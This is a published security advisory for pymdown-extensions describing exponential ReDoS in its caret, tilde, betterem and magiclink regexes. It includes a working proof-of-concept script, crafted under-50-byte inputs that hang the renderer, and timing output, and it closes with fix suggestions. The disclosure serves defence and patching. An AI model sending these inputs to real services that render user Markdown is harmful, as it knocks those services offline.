GHSA-GM37-52C6-37MW

Vulnerability from github – Published: 2026-08-07 18:26 – Updated: 2026-08-07 18:26
VLAI
Summary
pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors
Details

Summary

Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's default configuration and are reachable through the documented public API. The caret/tilde/ betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in 10.13, Dec 2024) — earlier releases used a linear (.+?) / ([^\s]+?) content group — and is present through 11.0 (latest); magiclink's host pattern is long-standing and affects effectively all releases. Likely CWE-1333 (Inefficient Regular Expression Complexity).

This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption, RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a ./\. typo).

Details

Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into {2,}-sized pieces in exponentially many ways, wrapped in a lazy +? that must fail before the engine can give up:

Extension Regex Location (11.0)
pymdownx.caret (superscript ^…^) SUP2 pymdownx/caret.py:56
pymdownx.tilde (subscript ~…~) SUB2 pymdownx/tilde.py:55
pymdownx.betterem (underscore _…_) SMART_UNDER_EM2 (default) pymdownx/betterem.py:93
pymdownx.magiclink (bare-URL autolink) RE_LINK pymdownx/magiclink.py:56 (host at :59)

pymdownx/caret.py:56 (pymdown-extensions 11.0):

SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'

The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the \^{2,} branch. A run of k carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2 (betterem) are the same construct for ~ and _. In betterem the default smart_enable='underscore' routes underscores to SmartUnderscoreProcessorSMART_UNDER_EM2 (betterem.py:93), which is the default-reachable, API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when smart_enable is asterisk/disable) shares the shape but did not reproduce through the public markdown.markdown() pipeline on the tested payload, so a fix and regression test should target SMART_UNDER_EM2.

pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially:

(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)*    # host: '\.' and '[-\w.]' inside (?:...)* both match '.'

SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is applied by MagiclinkPattern (registered unconditionally at priority 85). In all four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted src in default configuration is sufficient to reach the regex.

PoC

Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).

import signal
import time
from importlib.metadata import version

import markdown

print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")

CAP = 5.0  # a single render exceeding this is treated as a hang


class Timeout(Exception):
    pass


def render(ext, text):
    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
    signal.setitimer(signal.ITIMER_REAL, CAP)
    t = time.perf_counter()
    try:
        markdown.markdown(text, extensions=[ext])
        return time.perf_counter() - t
    except Timeout:
        return None
    finally:
        signal.setitimer(signal.ITIMER_REAL, 0)


# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
    "pymdownx.caret":     (lambda n: "^a" + "^" * n + "b",       lambda n: "^" + "a" * n + "^",           [24, 30, 36], 44),
    "pymdownx.tilde":     (lambda n: "~a" + "~" * n + "b",       lambda n: "~" + "a" * n + "~",           [24, 30, 36], 44),
    "pymdownx.betterem":  (lambda n: "_a" + "_" * n + "b",       lambda n: "_" + "a" * n + "_",           [24, 30, 36], 44),
    "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}

repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear
    base = render(ext, base_txt)
    print(f"\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
    prev = None
    for n in ramp:
        txt = evil(n)
        dt = render(ext, txt)
        ratio = f"  (x{dt / prev:.1f})" if (prev and dt) else ""
        shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
        print(f"          malicious len {len(txt):3d}: {shown}{ratio}")
        prev = dt
    txt = evil(hang)
    dt = render(ext, txt)
    hung = dt is None
    print(f"          malicious len {len(txt):3d}: "
          f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
    ok = base < 0.05 and (hung or dt > 1.0)
    repro.append(ok)
    print(f"          => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
          f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")

assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
      "public markdown.markdown() API, default config (each < 50-byte input).")

Run:

uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py

The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it is independent of the Markdown library version (markdown pinned only for byte-exact output). Observed output:

# pymdown-extensions 11.0 / markdown 3.10.2

[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.054 s  (x16.6)
          malicious len  39:    0.946 s  (x17.6)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.053 s  (x17.1)
          malicious len  39:    0.962 s  (x18.2)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.052 s  (x17.1)
          malicious len  39:    0.948 s  (x18.1)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms
          malicious len  37:    0.033 s
          malicious len  41:    0.210 s  (x6.4)
          malicious len  45:    1.405 s  (x6.7)
          malicious len  49: > 5 s (HANG)
          => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.

VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).

The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the unclosed crafted run. Extending it a few more characters pushes the render time into minutes and beyond.

Impact

Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:

  • General Python web apps that render user-supplied Markdown (comments, wikis, issue/ticket bodies, chat, live preview) — notably any app using pymdownx.extra, which bundles betterem with the vulnerable default smart_enable='underscore', or that reuses a Material-style extension block in a runtime renderer.
  • Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.

  • Attacker: unauthenticated, remote (anyone who can submit Markdown).

  • Configuration: default for each extension.
  • Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).

Suggestion

The vulnerable content groups need to be rewritten so a delimiter run has exactly one parse, removing the {2,} partition ambiguity that lets the engine re-segment a run on backtracking. For the emphasis patterns, restructuring the content so a delimiter run is consumed in a single, non-re-partitionable way (rather than by a {2,} branch inside a +? group) removes the blow-up; for RE_LINK, disambiguate the host so . is matched in exactly one place (a single labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by overlapping classes. Possessive quantifiers / atomic groups are the most direct tool but require Python 3.11+; since the project supports Python 3.10, a structural rewrite is the portable option.

A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.

References

  • Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2), pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMART_UNDER_EM2, default; :69 UNDER_EM2 shares the shape), pymdownx/magiclink.py:56 (RE_LINK, host subexpression at :59).
  • Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption RE_FIG_NUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. The caret/tilde/betterem content groups gained the vulnerable {2,} alternation in PR #2547 (v10.13); earlier releases used a linear (.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pymdown-extensions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67422"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T18:26:07Z",
    "nvd_published_at": "2026-08-06T22:18:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension\u0027s **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) \u2014 earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group \u2014 and is present through **11.0** (latest);\n`magiclink`\u0027s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape \u2014 an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^\u2026^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~\u2026~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_\u2026_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r\u0027(?\u003c!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?\u003c![\\^\\s])(\\^)(?!\\^)\u0027\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into \u22652-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?\u003c![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable=\u0027underscore\u0027` routes underscores to `SmartUnderscoreProcessor` \u2192\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)*    # host: \u0027\\.\u0027 and \u0027[-\\w.]\u0027 inside (?:...)* both match \u0027.\u0027\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive \u2014 the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version(\u0027pymdown-extensions\u0027)} / markdown {version(\u0027markdown\u0027)}\")\n\nCAP = 5.0  # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n    pass\n\n\ndef render(ext, text):\n    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n    signal.setitimer(signal.ITIMER_REAL, CAP)\n    t = time.perf_counter()\n    try:\n        markdown.markdown(text, extensions=[ext])\n        return time.perf_counter() - t\n    except Timeout:\n        return None\n    finally:\n        signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -\u003e (malicious builder, benign builder [valid \u0026 closed], ramp, hang count)\nCASES = {\n    \"pymdownx.caret\":     (lambda n: \"^a\" + \"^\" * n + \"b\",       lambda n: \"^\" + \"a\" * n + \"^\",           [24, 30, 36], 44),\n    \"pymdownx.tilde\":     (lambda n: \"~a\" + \"~\" * n + \"b\",       lambda n: \"~\" + \"a\" * n + \"~\",           [24, 30, 36], 44),\n    \"pymdownx.betterem\":  (lambda n: \"_a\" + \"_\" * n + \"b\",       lambda n: \"_\" + \"a\" * n + \"_\",           [24, 30, 36], 44),\n    \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, ramp, hang) in CASES.items():\n    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear\n    base = render(ext, base_txt)\n    print(f\"\\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n    prev = None\n    for n in ramp:\n        txt = evil(n)\n        dt = render(ext, txt)\n        ratio = f\"  (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n        shown = f\"{dt:8.3f} s\" if dt is not None else f\"\u003e {CAP:.0f} s (HANG)\"\n        print(f\"          malicious len {len(txt):3d}: {shown}{ratio}\")\n        prev = dt\n    txt = evil(hang)\n    dt = render(ext, txt)\n    hung = dt is None\n    print(f\"          malicious len {len(txt):3d}: \"\n          f\"{\u0027\u003e %.0f s (HANG)\u0027 % CAP if hung else \u0027%.3f s\u0027 % dt}\")\n    ok = base \u003c 0.05 and (hung or dt \u003e 1.0)\n    repro.append(ok)\n    print(f\"          =\u003e {\u0027REPRODUCED\u0027 if ok else \u0027not reproduced\u0027}: a {len(txt)}-byte \"\n          f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n      \"public markdown.markdown() API, default config (each \u003c 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions\u0027 own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.054 s  (x16.6)\n          malicious len  39:    0.946 s  (x17.6)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.053 s  (x17.1)\n          malicious len  39:    0.962 s  (x18.2)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.052 s  (x17.1)\n          malicious len  39:    0.948 s  (x18.1)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms\n          malicious len  37:    0.033 s\n          malicious len  41:    0.210 s  (x6.4)\n          malicious len  45:    1.405 s  (x6.7)\n          malicious len  49: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each \u003c 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) \u2014 the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n  issue/ticket bodies, chat, live preview) \u2014 notably any app using\n  `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n  `smart_enable=\u0027underscore\u0027`, or that reuses a Material-style extension block in\n  a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n  single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed \u2014 the maintainer makes\n  the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n  `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n  default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n  (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n  fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n  `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n  alternation in PR #2547 (v10.13); earlier releases used a linear\n  `(.+?)` / `([^\\s]+?)` group. `magiclink`\u0027s host pattern is long-standing. None\n  of the four has been touched by a prior security fix; all are present in the\n  latest release (11.0).",
  "id": "GHSA-gm37-52c6-37mw",
  "modified": "2026-08-07T18:26:07Z",
  "published": "2026-08-07T18:26:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67422"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facelessuser/pymdown-extensions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…